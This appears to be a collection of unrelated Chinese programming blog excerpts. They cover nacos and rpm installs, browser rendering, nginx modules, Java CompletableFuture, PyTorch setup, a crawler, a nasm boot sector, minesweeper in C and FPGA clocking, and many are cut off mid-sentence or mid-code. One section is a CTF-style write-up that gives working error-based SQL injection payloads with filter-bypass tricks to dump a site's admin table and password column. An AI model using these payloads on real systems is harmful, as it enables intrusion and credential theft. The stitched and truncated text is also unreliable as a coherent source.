1. 下载tar和gzip的rpm包 [root@localhost nacos]# ll 总用量 74956 -rw-r--r--. 1 root root 132636 11月 15 17:14 gzip-1.5-10.el7.x86_64.rpm drwxr-xr-x. 5 root root 72 11月 15 17:14 nacos -rw-r--r--. 1 root root 75750074 11月 6 03:38 nacos-server-1.4.0.tar.gz -rw-r--r--. 1 root root 865848 11月 12 00:13 tar-1.26-35.el7.x86_64.rpm 2. 使用rpm安装命令直接安装tar命令和gzip命令 [root@localhost nacos]# rpm -Uvh *.rpm --nodeps --force 警告:gzip-1.5-10.el7.x86_64.rpm: 头V3 RSA/SHA256 Signature, 密钥 ID f4a80eb5: NOKEY 准备中... ################################# [100%] 正在升级/安装... 1:tar-2:1.26-35.el7 ################################# [ 50%] 2:gzip-1.5-10.el7 ################################# [100%] 3.
摘要 文章梳理了浏览器【页面导航】 和 【页面渲染】的过程,理解该过程的实现原理,有助于性能优化和更快地定位问题。
1. 页面导航 在地址栏输入URL后,页面导航过程如下:
2. 判断地址栏输入 通常我们在地址栏输入的信息可以分为两种情况处理:
一种是一个合法的URL,浏览器就会访问该URL。其它的非URL输入,会被当做关键字,交给搜索引擎处理。 3. 开始导航 当浏览器确认地址栏输入的是一个URL时,就会开始请求数据。在发出HTTP请求数据之前,浏览器会先检查本地缓存数据。
3.1. 浏览器缓存 浏览器缓存有强缓存 和协商缓存 两种方式。
3.1.1. 强缓存 当响应报文中包含Expire报文头时,浏览器会缓存到本地。下次请求时,先检查本地缓存数据,如果Expire未失效,则返回缓存数据,不需要再请求服务器。
3.1.2. 协商缓存 当响应报文中包含的Cache-Control报文头信息符合缓存条件时,浏览器会缓存到本地。下次请求时,浏览器会向服务器请求确认缓存数据是否更新,服务器判断资源更新时间(if-Modified-Since)或资源最新摘要信息(if-None-Match),如果资源已更新,则返回最新数据;否则返回304,浏览器可以继续使用本地缓存数据。
3.2. 网络请求 如果没有命中本地缓存数据,浏览器将会发起HTTP请求数据。用户输入的URL域名需要经过DNS解析,得到IP后再向目标主机发起HTTP请求。
3.2.1. DNS查询 3.2.2. HTTP请求 一次完整的HTTP通信,涉及到TCP/IP协议的应用层、传输层、网络层 和链路层。
3.3. 处理不同MIME类型数据 4. 提交导航 获取到HTML数据后,浏览器会离开当前页面,跳转到新页面。
具体表现为:浏览器地址栏URL更新,会话历史记录更新,渲染进程开始解析HTML。
5. 页面渲染过程 浏览器解析HTML和CSS代码,构建DOM树并计算每个元素的样式信息 和布局信息,然后绘制到屏幕上。
5.1. 解析HTML 构建DOM树:将HTML转换为浏览器可以理解的数据结构,应用程序通过DOM API来操作HTML页面内容。
包括:decoding、预加载资源、词法分析、语法分析、HTML解析结束并触发DOMContentLoaded事件。
备注:
document.write()可以把输入的HTML字符串解析到当前DOM树。 5.2. 加载外部资源 在解析HTML过程中,加载页面引用的外部资源(JS、CSS、img)。
5.2.1. 解析阻塞 在解析HTML过程中,会出现 JS阻塞 和 CSS阻塞 的情况。
JavaScript阻塞:因为执行JavaScript可能导致reflow 和 repaint 等问题,所以默认脚本的加载和执行都会阻塞HTML的解析;
CSS阻塞:由于JavaScript可能操作CSS属性,所以当JavaScript执行时,应该保证相关的CSS已经加载完毕,即CSS解析会阻塞JavaScript的执行。同时CSS解析也会阻塞页面渲染。
5.2.2. 优化方案 把CSS放在HTML标签头部,JavaScript放在尾部。通过async和defer异步加载脚本。资源预加载。CDN加速、缓存、文件压缩。 5.
目录
Nginx常见模块
nginx内置模块
nginx配置文件的常见模块
location模块
常见的正则表达式
location常用的匹配规则 Rewrite模块 Rewrite功能
Rewrite跳转场景
Rewrite跳转实现
语法格式
基于旧域名跳转到新域名
基于客户端IP访问跳转
基于参数匹配的跳转
基于旧域名跳转到新域名
基于 目录下所有的php文件
基于普通的一条url
Nginx常见模块 nginx内置模块 nginx作为低资源低能耗高性能的一个web服务,它的模块相对于apache少,但是nginx他是高度模块化的设计,编写模块相对简单。下面就了解一下nginx的模块吧
官方文档地址
nginx documentationhttps://nginx.org/en/docs/一共有四大模块
第一块模块主要就是一些索引和核心功能的介绍
第二块模块,基于http操作和功能
第三块模块是邮箱代理
第四块模块就是基于tcp协议的stream(数据流)模块
觉得nginx还是很友好的吧,就四个模块,哈哈哈可是全拿下可不是很容易哦
Nginx_http常用模块
ngx_http_core_module 模块是 nginx 的核心模块,该模块提供了很多 http 代理基础功能
ngx_http_access_module 允许限制访问某些客户端地址。访问也可以通过密码,子请求的结果或JWT进行限制。通过地址和密码同时限制访问受到满足指令的控制。
ngx_http_gzip_module 模块是一个使用了 gzip 方法压缩响应的过滤器。有助于将传输数据的大小减少一半甚至更多。
ngx_http_ssl_module 模块为HTTPS提供了必要的支持。该模块不是默认生成的,它应该使用--with-http_ssl_module配置参数启用。为了减少处理器负载,建议使用
ngx_http_proxy_module 允许将请求传递给另一台服务器。常见于实现反向代理服务器。
ngx_http_rewrite_module 模块用于使用PCRE正则表达式更改请求URI,返回重定向并有条件地选择配置。
ngx_http_upstream_module 该模块用户分发到不同的服务器节点。支持由proxy_pass, fastcgi_pass, uwsgi_pass, scgi_pass, memcached_pass, grpc_pass等的服务器组。
ngx_http_log_module 模块以指定的格式写入请求日志。
ngx_http_stub_status_module 模块提供对基本状态信息的访问
ngx_http_auth_basic_module 模块允许通过使用“HTTP基本认证”协议验证用户名和密码来限制对资源的访问。
nginx配置文件的常见模块 http
http块是Nginx服务器配置中的重要部分,代理、缓存和日志定义等绝大多数的功能和第三方模块的配置都可以放在这模块中。作用包括:文件引入、MIME-Type定义、日志自定义、是否使用sendfile传输文件、连接超时时间、单连接请求数上限等。
server
server块,虚拟主机(虚拟服务器)。作用:使得Nginx服务器可以在同一台服务器上只要运行一组Nginx进程,就可以运行多个网站。
location
location块是server块的一个指令。作用:基于Nginx服务器接收到的请求字符串,虚拟主机名称(ip,域名)、url匹配,对特定请求进行处理。
前言 本文隶属于专栏《100个问题搞定Java并发》,该专栏为笔者原创,引用请注明来源,不足和错误之处请在评论区帮忙指出,谢谢!
本专栏目录结构和参考文献请见100个问题搞定Java并发
正文 CompletableFuture 是 Java8 新增的一个超大型工具类。
为什么说它大呢?
因为它实现了 Future 接口,而更重要的是,它也实现了 CompletionStage 接口。
CompletionStage 接口也是 Java8 中新增的,它拥有多达约 40 种方法!
是的,你没有看错,这看起来完全不符合设计中所谓的“单方法接口”原则,但是在这里,它就这么存在了。
这个接口拥有如此众多的方法,是为函数式编程中的流式调用准备的。
通过 Completionstage 接口,我们可以在个执行结果上进行多次流式调用,以此可以得到最终结果。
比如,你可以在一个 CompletionStage 接口上进行如下调用:
stage.thenApply(x -> square(x)).thenAccept(x -> System.out.print(x)).thenRun (()-> System.out.println()); 这一连串的调用就会依次执行。
1、完成了就通知我 CompletableFuture 和 Future 一样,可以作为函数调用的契约。
向 CompletableFuture 请求一个数据,如果数据还没有准备好,请求线程就会等待。
而让人惊喜的是,我们可以手动设置 CompletableFuture 的完成状态。
package com.shockang.study.java.concurrent.completable; import java.util.concurrent.CompletableFuture; /** * 脱离线程池的使用,仅作为一个契约 * * @author Shockang */ public class CFutureMain1 { public static class AskThread implements Runnable { CompletableFuture<Integer> re = null; public AskThread(CompletableFuture<Integer> re) { this.
一、二分查找算法(非递归) 1)二分查找法只适用于从有序的数列中进行查找(比如数字和字母等),将数列排序后在进行查找
2)二分查找算法的运行时间为对数时间,即查找到需要的目标位置最多只需要log以2为底n的对数步,假设从[0 ,99] 的队列(100个数,即 n = 100)中寻到目标数为 30 ,则需要查找步数为 ,即最多需要查找6次
代码实现 public static void main(String[] args) { int[] arr = {1,3,8,10,11,67,100}; int index = binarySearch(arr, 1000); System.out.println("index = "+index); } public static int binarySearch(int[] arr, int target){ int left = 0; int right = arr.length - 1; while (left <= right) { int mid = (left + right) / 2; if(arr[mid] == target){ return mid; } else if (arr[mid] > target) { right = mid - 1; // 向左查找 }else{ left = mid + 1; } } return -1; } 二、分治算法 1)分治法是一种很重要的算法。字面上的解释是”分而治之“,就是把一个复杂的问题分成2个或更多的相同或相似的子问题,再把子问题分层更小的子问题…直到最后子问题可以简单的直接求解,原问题的解即子问题的解的合并。这个技巧是很多高效算法的基础,如排序算法(快速排序,归并排序)傅里叶变换
最好创建个虚拟环境,我是给yolov5用的所以取了这个名字
conda create -n yolov5 python=3.9 这样就安装成功了 然后进入环境
activate yolov5 首先在Start Locally | PyTorch找到合适自己的版本
直接用pytorch的官网给的命令下载很慢很容易中途失败(网络好的可以尝试直接安装更方便)
网络不好的建议离线下载
https://download.pytorch.org/whl/cpu/torch_stable.html
这个是官方的下载地址在这里找到torch、torchvision、torchaudio(注意,py和cu的版本号要选对,安装torch前需要提前安装好numpy包)
下载完后cmd中输入以下命令,如果还出现某些包下载失败,就重复上面的操作下载后单独安装
cd /d xxxxxx(xxxx为下载的pytorch包的位置) pip install xxxxx.whl(xxxx为下载包的名字一共3个先装torch) 安装后开始下载cuda和cudnn然后安装
cuda历史版本下载地址 https://developer.nvidia.com/cuda-toolkit-archive
cudnn 历史版本下载地址 https://developer.nvidia.com/rdp/cudnn-archive
安装cuDNN: 对下载的cuDNN压缩包解压后出现如下三个文件夹子,将其复制进去就行
检查下是否安装成功,输入以下命令如果安装成功会显示true
python import torch torch.cuda.is_available()
C++绝对值函数abs()和fabs() ! ! !
函数介绍:
abs()函数是用于整型数据
fabs()函数是用于浮点型数据
两者用来得到一个负值数据的正值
案例:
int n,m=-10; n=abs(m); double p,q=-5.2; p=fabs(q);
先使用御剑扫一波,发现后台登录界面admin/login.php:
用户名一栏输入单引号,发现存在sql注入,
当输入admin’ or 1=1#后又返回正常的报错界面
看来闭合符号为单引号
注入开始:
admin' union select 1,2,3,4,5# union 和select被过滤了
既然存在报错信息,我们就尝试报错注入,经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替:
报错注入 admin' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))# 爆出数据库名为dees
爆表名:
发现from、where、=也被过滤了,等号用like代替
admin’ an and d extractvalue(1,concat(0x7e,(selselectect table_name fro from m information_schema.tables wh where ere table_schema like ‘dees’ limit 0,1),0x7e))#
爆字段
admin' an and d extractvalue(1,concat(0x7e,(selselectect column_name fro from m information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e))# admin_name
修改为limit 2,1
admin_password
概述 我们可以在一些网站上看到一些文字,显示了历史上的今天发生了什么事情。例如CSDN的登录页面:
而我们今天的目标是百度搜索上显示的历史上的今天,如下:
(注:图片无法显示)
通过历史上的今天访问查看
我们需要获取“历史上的今天”的所有事件,然后可以把这些数据显示在自己的网站上,就可以给自己网站上也增加一个“历史上的今天”的功能。
准备 要想使用这个爬虫,需要如下知识:
hutool的hutool-http模块GsonJsoup 其中hutool-http模块需要用来发送HTTP请求,请求URL,返回服务器的响应结果;而Gson用来处理json格式的字符串数据;Jsoup可用来处理html格式的内容。
分析 爬虫从来不是一上来就写代码的,最重要的是分析请求,如何获取到有效的信息,而最后才是写代码,只要爬取的思路理清楚后,代码是很容易完成的。
第一步,打开百度搜索关键字历史上的今天
(注:图片无法显示)
第二步,我们要看浏览器如何请求到“历史上的今天”这些数据的,按F12打开Network面板,然后刷新浏览器,查看请求。
发现通过如下的URL即可请求到“历史上的今天”的页面内容,返回的是html源码内容。
Request URL: https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=%E5%8E%86%E5%8F%B2%E4%B8%8A%E7%9A%84%E4%BB%8A%E5%A4%A9&fenlei=256&rsv_pq=a2dbc7d900047768&rsv_t=0c6ckpvpgFs4uKd8Xon5m%2FKW%2B4EZcnObkZ4N4A%2BBwxZNXkHgcrSoxlVwj20&rqlang=cn&rsv_enter=1&rsv_dl=ib&rsv_sug3=15&rsv_sug1=16&rsv_sug7=101 Request Method: GET Status Code: 200 OK 也就是说我们要寻找的数据就在请求响应回的html源码内容中,但源码内容太多了,眼睛很难以找到,所以我们在Response面板的html源码内容中搜索上面显示的历史上的今天的关键字,例如搜索关键字"德国著名飞行员"。
发现共匹配到4个,在Response面板中查看html源码感觉还是不太方便,在页面按鼠标右键查看页面源码。
发现搜索到的结果有两种情况:
第一种,结果隐藏在html注释中的json字符串中。
第二种,结果在html标签中,需要提取。
发现json字符串中的数据更加完整,更加方便提取。
我们先把这段json格式的字符串复制到JSON可视化网站上查看。
打开"视图"选项卡,以树形视图查看 其中date字段表示今天的日期,而cardList则是“历史上的今天”所有事件。cardList是一个数组,数组中每一项都是一个对象,cardList.yearTag表示事件的年份,cardList.url则是该事件的百度百科链接,cardList.titleTip是该事件的完整标题名称,cardList.title是标题简称,cardList.textTip是该事件的完整内容,cardList.text是事件内容摘要,cardList.image是该事件的图像。
我们发现上面的请求URL的参数太多了,我们可以尝试减少一些无用的参数,最后得到更加简洁的URL:
Request URL: https://www.baidu.com/s?wd=历史上的今天 Request Method: GET Status Code: 200 OK 从上面的分析我们已经能得到我们需要的数据了,步骤如下:
第一步,发送GET请求,注意携带请求头,响应返回html页面内容。第二步,从html页面内容中提取出藏有关键数据的json字符串。第三步,从json字符串中解析出我们需要的数据。 代码 通过上面的分析,我们很容易就可以写出代码。
注意,上面的分析跟编程语言,爬虫既可以用python写,也可以用Java来写。而我这里提供的仅仅是Java代码,当然也可以根据上面的分析写一份python代码。
代码如下:
public class Crawler { public static void main(String[] args) { // 第一步,拼接URL String url = "https://www.baidu.com/s?ie=UTF-8&wd=历史上的今天"; // 设置请求头 Map<String, String> headers = new HashMap<>(); headers.
第四章:虚拟机的安装和使用 这篇文章首发于我的博客转载请标明出处 书上P42页的实验让我们输入一串汇编语言并执行。
step0:首先需要准备一些必要的软件, 第一个是nasm
Index of /pub/nasm/releasebuilds/2.15.05/win64
nasm使用编译汇编语言的(其实只有汇编和链接步骤)
第二个是书上配套软件包
上网搜就有了,不过配套的nasm编辑器在我的64为windows上用不了,不过没有关系,用VScode就行。Vscode可以装一个高亮nasm的插件。这里主要要用的是写虚拟机硬盘的工具
step1:编写汇编语言 直接把书上的抄过来
然后使用 nasm -f bin ch3.asm -o ch3.bin 编译
然后就会得到一个错误信息….
ch3.asm:3: error: operation size not specified
ch3.asm:4: error: operation size not specified
ch3.asm:5: error: operation size not specified
这几句说的是三条mov指令没有指定操作数的大小,想来也确实是这样,因为nasm不知道怎么理解这三个ASCII码,可以是8bit的也可以是16或者32bit的。
所以要使用一个修饰符来说明这个操作数是几个bit
看到内存是递增2的,所以应该用 word
然后再编译一下就可以了,会产生相应的bin文件
然后使用书上配套的工具把这个bin文件写入第一个扇区。最后激动的点击运行虚拟机….
如果一切正常的话,就会出现这个问题。也就是说BIOS拒绝了启动,为什么会这样呢,是应为BIOS在加载第一个扇区的时候会进行检查,如果最够的两个字节不是0x55AA的话,就不认为这是一个合法的主引导扇区,就会拒绝启动。
解决的方法也很简单,就是填充第一个扇区,使得最后两个字节是0x55AA就行。我写了一个简单的Python程序,可以自动的填充扇区
import struct padTailDec = 0x55aa padTailBin = padTailDec.to_bytes(2, byteorder='big', signed=False) asmFile = open("./ch3.bin","rb") asmContext = asmFile.read() padLen = 510 - len(asmContext) #最后两个是0x55和0xaa padAsm = open("
我相信在做的各位都是玩过扫雷的,游戏玩法就不赘述了。
直接进入主题:先思考后敲代码!!
首先,我将扫雷分为两个棋盘,一个放雷,另一个为玩家猜测盘。
这就有同学问了,设置一个棋盘不就完了,这样不就搞复杂了吗?
先简短的回答这位同学的问题:
因为我的考虑是这样的,我用‘1’代表有雷,‘0’代表没有雷,如果放在一个盘中,出现多个1的时候,无法确定这是雷还是代表周围8个格子中有一个雷。
进一步解释
图片参考: 当雷是1,还有记录数字也为1时,以下黄色标记位置为例: 此时点击黄色位置,那么它显示的数字是2而不是1,我们会发现雷‘’变多了‘’。
但又有同学要问了,为啥非要用1代表雷,0代表没有雷呢,我用¥代表雷,@代表非雷就不会出现这种情况了。
其实这样安排是没问题的,我也鼓励大家去尝试一下,但分双棋盘带来的好处,经过后面的代码分析会体现出来。(之后可以出一个棋盘的版本)
需要注意的是我们采用‘1’和‘0’,即字符1和字符0代表有雷和没有雷。为什么要这样安排呢?这利于我们后续设计数组和函数,现在暂时解释到这,后面会让大家有一个更清楚,更系统的认知。
初步设计思路到此结束!现在开始发车了,请关好门窗,系好安全带!!
首先我们分文件设计游戏,分一个test.c来管理游戏的执行流程,一个game.c来实现游戏需要的自定义函数,一个game.h来封装函数声明,常数的定义,头文件的包含等。
test.c的初步游戏执行流程设计,参考以下代码:
void menu() { printf("******************\n"); printf("*** 1.play ***\n"); printf("*** 0.exit ***\n"); printf("******************\n"); } int main() { int input = 0; do { menu(); printf("请选择:>"); scanf("%d", &input); switch (input) { case 1: game(); break; case 0: printf("已退出\n"); break; default: printf("输入错误,请重新输入\n"); break; } } while (input); return 0; } 因为游戏可能需要玩很多次,为了不重新打开游戏,此处采用循环的形式,又因为游戏至少需要执行 一次,此处采用do while循环,用while循环其实问题也不大。好了,do while循环首先执行的是打印菜单,然后我们根据菜单来选择接下来要执行的分支,当我们选1的时候代表我们接下来要玩游戏,而选择0的时候我们要退出游戏,在这里我们选择用整形变量input来接受我们的选择,用switch来执行我们的选择。同时我们会发现安排退出数字为0时有一个好处,当input为0的时候直接可以退出循环,而非0可以继续循环,这完美符合我们的选择设计!!!
接下来就是函数game()的实现了。
我们刚刚讨论了,我们需要两个棋盘,一个雷盘,另一个为玩家猜测盘。
因此我们创建两个二维数组来代表这两个盘。
四、时钟资源介绍 4.1 BUFG BUFG在“Device”中如图2-1-1所示,其中它有多种模式可根据需求来选择使用,可以实现将时钟传递到FPGA中的各种资源,具体架构在上文已做阐述,本文就对BUFG本身特性进行详细的说明。
如下图是关于BUFG的所有原语,主要分为两个部分,一部分是带有各种功能的BUFG,另一种是用于时钟选择的BUFGMUX,这部分内容在《UG472》和》《UG768》均有介绍。
1、BUFGCTRL
BUFGCTRL保留了该缓冲器的所有接口,有四个选择线S0、S1、CE0和CE1,两条额外的控制线IGNORE0和IGNORE1。这六个控制线用于控制输入信号I0和I1的输出。如同3-1-3是BUFGCTRL的真值表。
图3-1-3 BUFGCTRL真值表
其中“O”是输出时钟,I0和I1是出入时钟,其它六个信号是用不用控制的,CE是使能信号,S是选择信号,IGNORE是旁路信号。这也是为啥CE和S都是1的时候才能表示选择了该路,所以这两个信号都可以用于时钟选择,例如S1和S0都是1,用CE进行选择,或反之。CE和S也是有区别的,CE用于选择需要保证建立时间和保持时间,否则会出现毛刺,用S没有这个问题,顶多晚一个时钟周期,我觉得用S比较好。
IGNORE本身就是忽视的意思,从《ug472》的第40页来看置1就忽视了对应的时钟属于与选择,但仿真来看是置0就忽略了对应时钟和选择,所以还是按照实际的来吧。
BUFGCTRL还有三个配置参数,其中INIT_OUT有三个作用,确定初始输出值、敏感沿和切换后的时钟电平。如果设置0则初始输出为低电平,在下降沿时切换且切换后的是低电平。PRESELECT是预选择时钟的意思,选择“true”表示就使用对应时钟,无论怎么操作都不会改变的,但仿真看不是,可能是有区别吧。
了解了BUFGCTRL,其他时钟也就好说了,因为都是在这基础上的更改。
2、BUFG
BUFG如下所示,选择使能等位置固定置,输入即输出,这也是用的最多的BUFG。
3、BUFGCE和BUFGCE_1
如下图所示,也就是加了一个使能信号,是用的CE0,也可以用CE1,是没有区别的。
如下是时序图
3、BUFGMUX and BUFGMUX_CTRL
是用来做时钟选择的,这个有两个,从样子上看没啥区别,实际上就是选择用S和CE的差别,这也导致了在时钟切换时候的时序差别。
4.2 区域时钟 4.2.1 CC “Clock-Capable”是时钟功能的意思,外部时钟信号必须通过具有时钟功能的引脚接入FPGA,这个引脚称之为MRCC和SRCC。如下图原理图所示,每个BANK有两个MRCC,即Multi-region clock-capable I/O,多区域时钟功能I/O。每个bank有两个SRCC ,即Single-region clock-capable I/O,单区域时钟功能I/O。它们都是差分的,如果接单端时钟则需接到“P”上,对应的“N”引脚不可用。
根据《ug472》第24页介绍,这两种信号可以连接到
1、同BANK也就是同时钟域的4个BUFIO、4个BUFR和2个BUFMR
2、本BANK或上下BANK CMT的MMCM和PLL
3、连接到16个BUFG,也就是处于同一侧的
4、同时钟域的BUFH
4.2.2 I/O Clock Buffer—BUFIO 每个BANK都有这么四个BUFIO,输入时钟与输出时钟有一定的相位延迟。BUFIO可被MRCC、SRCC、MMCM的CLKOUT0到3、CLKFBOUT以及同一时钟域和上下时钟域的BUFMR驱动,而BUFII仅可驱动IO BANK的ILOGIC和OLOGIC相关时钟,所以BUFIO是区域时钟。因此,BUFIO非常适合源同步数据捕获。
4.2.3 Regional Clock Buffer—BUFR 这是7系列中可用的另一个区域时钟缓冲器,位置就在BUFIO旁边,支持的驱动源于BUFIO一致,但它可用连接到BUFG和CMT,进而引入逻辑中去。如下图是BUFR的原语“BUFR_DIVIDE”是确定输出时钟分频比的,可用是1到8,如果选择“BYPASS”则不分频。“O”是时钟输出,CE是异步的输出时钟使能端口,在“BYPASS”模式下不能用,“CLR”分频逻辑异步清零,并将输出设置为低电平,不能在旁路模式下使用。
4.2.4 Regional Clock Buffer—BUFMR/BUFMRCE BUFMR也是区域时钟,每个I/O bank都有两个,可由MRCC、GT的CLK驱动,它可以驱动本BANK和上下相邻BANK的BUFIO和BUFR,起到了扩展连接的作用。
如下图是BUFMR的原语,其中“INIT_OUT”是初始化BUFMRCE输出指定的值,“CE_TYPE”是设置CE与时钟的关系,是同步“SYNC”还是异步“ASYNC”。
4.2.4 水平时钟缓冲器——BUFH BUFH(Horizontal Clock Buffer)水平时钟缓冲器也是个区域时钟,每个BANK有12个BUFH,用来驱动本BANK的各种资源,BUFH相比较BUFG抖动和功耗都更低。BUFH可以由MMRC、SRCC、MMCM的CLKOUT0到3、CLKFBOUT、和来自同一时钟域(同一bank)和上下相邻BANK的BUFMR,输出时钟可以连接到CMT、BUFG和逻辑资源。如下图是BUFH的两个原语,一个不带CE一个带CE的,与BUFMR差不多,就不在赘述了。
第五章 CMT的介绍 在7系列FPGA中,时钟管理块(CMT)包括混合模式时钟管理器(MMCM)和锁相环(PLL)。PLL可以说是MMCM的阉割版。 每个BANK至多包含一个CMT,具体视芯片资源而定,如下图是CMT的框图,可见输入到CMT也就是PLL或MMCM的时钟可以有多种选择,甚至是本地逻辑路由,但并不建议这样搞,输出时钟会连接到BUFH或者BUFG,这些如果没有特殊要求都会自动实现的。
无论是MMCM还是PLL,其功能实现的基本原理是一致的,如下图所示是MMCM产生多个时钟的流程图。每个时钟输入都有一个可编程的计数分配器,也就是“D”,可控制对输入时钟进行分频,PFD是相位检测器,用来比较输入时钟和反馈时钟上升沿的相位和频率进而生成与两个时钟之间的相位和频率成比例的信号,这是一个上升或下降的信号,该信号驱动电荷泵(CP)和环路滤波器(LF)产生VOC的参考电压。当VCO频率过高时,PFD会激活一个下降信号,从而将电压降低,上升信号将增加电压抬高频率。VOC即压控振荡器(Voltage Controlled Oscillator),就是输出频率与输入控制电压有对应关系的振荡电路,有LC和RC压控振荡器,一般用的是RC的。MMCM原理是在VCO输出时钟的基础上可对其进行分频、相位和占空比的调整,已产生我们所需时钟。
CMT具有时钟矫正网络,可实现输出时钟频率与输入时钟频率相位一致,这就为需时钟同步的相关设计提供便利,最起码不需要在这基础上花费时间调整时钟相位,并且具有抖动滤波的功能。我们可以调用相关原语或IP核来实现相关设计。
目录
一、概述
二、时钟资源
三、时钟路由资源与架构
一、概述 该文章主要是对《ug472》内容的理解和延伸,ug472主要讲的是7系列FPGA的时钟架构。一般我们根据原理图将时钟引入,通过PLL或MMCM产生所需时钟就可劲用了,除非有了时序违规或者特殊要求才去注意下,否则我们是不关心时钟在FPGA内部是怎样干活的,似乎也并没什么问题。但总有用到的时候,而且作为对FPGA整体框架的一部分,我们也应该了解下FPGA内部些原理。
《ug472》一文初看略感晦涩,但确实很有内容,对7系列FPGA的内部时钟架构和资源进行了详细阐述。总的来说可以从两方面来理解,一方面是资源,也就是7系列FPGA内部包含这哪些路由资源和硬核资源,硬核资源指的是引入时钟的引脚、可实现时钟分倍频的CMT以及起到连接作用的各种BUF,而路由资源指的是7系列FPGA所包含的时钟路由路径,也就是可以走时钟的线,而这两种的结合就是时钟架构。对于时钟架构其中7系列FPGA又分为全局时钟和区域时钟两种,这两种的配置是实现硬核资源连接和时钟路由的方案。
本文会分四个章节进行阐述,第一章讲述7系列FPGA有哪些时钟、路由资源及其应用特点。第二章阐述7系列FPGA的时钟架构及路由方案。第三章讲述7系列FPGA硬核资源的应用,阐明在如何去使用。第四章讲述7系列FPGA硬核资源中的CMT以及对应的MMCME2_ADV原语介绍。第五章讲述时钟相关的IP核,也就是“Clocking Wizard”的相关配置和使用介绍。
二、时钟资源 如下图是xilinx的A7芯片的“device”部分截图。时钟相关的主要是下面这几个部分,随便找个工程打开都可以看到如下内容,另外还有高速串行接口的时钟没有表示出来,那个不影响对整体的理解。在图中标有6个地方,这就是包括了FPGA的所有时钟资源(GTPE2_COMMON除外),主要有CC、BUFR、BUFIO、BUFMR、CMT、BUFG和BUFH,下面就对其依次进行介绍。
一、CC
标有1的白色框圈住的内容称之为“CC”,它是“Clock-Capable”即时钟功能的缩写,表示具有时钟功能的引脚,换句话说,并不是所有的引脚都可以接时钟的,有只有通过特定的引脚才能将外部时钟信号引入FPGA内部的时钟资源,这个引脚有两种,分别称之为MRCC(Multi-region clock-capable I/O)和SRCC(Single-region clock-capable I/O)。Multi-region译为多区域,Single-region译为单区域,而者的直观区别在于MRCC可以连接到BUFMR上,但SR不可以,BUFMR具有扩展功能,可以将本BANK时钟引入到其它BANK上,所以称可以连接到BUFMR的CC为MRCC。
每个BANK有50个引脚,不信你可以数一下,这五十个里面有两对用于SRCC,有两对用于MRCC,如下图原理图所示。它们都是差分的,如果接单端时钟则需接到“P”上,对应的“N”引脚不可用。这些信号可以连接到本bank的BUFR、BUFIO、CMT以及同侧的16个BUFG,这些会在后文阐述。
二、 BUFR、BUFIO和BUFMR
红色框圈住标有2的是BUFIO和BUFR,放大是如下图左所示的,白色圆圈圈住标有3的是BUFMR,放大是如下图右所示。它们都位于I/O BANK,所以它们是与引脚相关的区域时钟缓冲器,可有助于实现时钟源的同步采集,串并之间的转换等等。每个有引脚的BANK都有四个BUFIO和BUFR、两个BUFMRCE。
BUFIO也是区域时钟缓冲器,它的作用是用来驱动I/O BANK里面的ILOGIC和OLOGIC,(一般会用为OSERDESE2 和ISERDESE2),也就是在我《I/O BANK》文章中所阐述的内容。所以BUFIO适合用于采集源同步数据,但不能用来驱动任何其它资源。
BUFR区域时钟缓冲器,与BUFIO不同在于可以驱动BUFG可以驱动的同一时钟区域中的任何时钟点。如下图很好的解释了BUFIO和BUFR的区别。而这BUFR还具有分频功能,可以实现1到8倍的分频,可用于串并转换。
BUFMR还是区域时钟缓冲器,之所以只有两个是对应MRCC,MRCC就两个,所以BUFMR多了也没多啥用。它的作用就是扩展时钟区域,可以将某BANK的时钟引入到上下相邻的BANK中去,如下图所示,这里将MRCC直连到了BUFMR,但在实际应用情况下,MRCC需要先进过IOBUF,才可以连接到BUFMR。
三、CMT
黄色方框圈住标有4的这部分称之为CMT,即clock management tiles 的缩写,每个BANK都有一个,这里面主要包括了一个MMCM和一个PLL,PLL可以理解为是MMCM的子集,都是可以视为锁相环,用于产生不同频率、相位的时钟以供使用,具体接口介绍会在第四、五章介绍。
四、BUFH
黄色方框圈住标有5的这部分部分是区域水平时钟缓冲器BUFH,原本人家是竖着的,但太占地我就让它躺下了。经过该BUF的时钟只在本区域有效,其中H是Horizontal的缩写。每个BANK有12个BUFH,它们位于BANK的一侧,且在水平中间位置排成一列,所以下图是左右相邻两个BANK的BUFH。
如下图是一个BANK的整体,BUFH可以驱动同一BANK的所有资源,我们可以看出“上”和“下”是对称分布的,BUFH位于BANK的一侧垂直居中,中间的分割线是有12条水平时钟线,与12个BUFH相连。BUFG也是通过连接到BUFH进而通过这12条水平时钟线驱动整个BANK的逻辑资源。每个BANK资源是按照一定的规律进行排列,也就是每列有50个CLB、50个引脚、10个BRAM,它们均匀的分布在水平时钟线两侧。不同型号芯片每个BANK的资源是不一样的,但每列资源确实固定的,只不过行数的多少。
5、BUFG
黄色方框圈住标有6的是全局时钟缓冲器,如下图所示,由于水平放置太占地,我也让它躺倒了,一竖溜有32个,而且每个芯片都会有32个BUFG。它是我们用的最多的时钟buff,经过BUFG的时钟可以连接到任意资源上去,BUFG不仅可以实现时钟缓冲,还有时钟选择、控制等功能。
BUFG从竖直方向看位于中间,两侧类似对称形式分布,从水平方向看是尽可能的位于中间,由于BANK数量原因,可能是偏下些,在ug472中也有下图为我们举例说明。
三、时钟路由资源与架构 时钟资源包括路由资源和硬核资源,时钟架构是以全局时钟和区域时钟组合搭配而成,总体思路就是以BANK为单元组建区域时钟,以BUFG为纽带连接各个BANK,依次实现模块化的时钟架构。
图2-1-1是《ug472》提供的时钟架构图,自我感觉这图描述得还是有些晦涩。首先我们需要了解下FPGA内部的大致结构,xilinx的FPGA逻辑资源大致可分为两个部分,一部分是I/O BANK,即下图中的“I/O Column”、“CMT Backbone”和“CMT Column”这三部分组成,这里的时钟BUF、IOBUF及I/O LOGIC的不同组合实现FPGA内部数据与外部的交互,另一部分就是以CLB和BRAM为主的资源来实现我们的逻辑功能,不同BANK可能有些其他硬核资源,例如PCIE、XADC、GTP等等。
图2-1-1 时钟架构
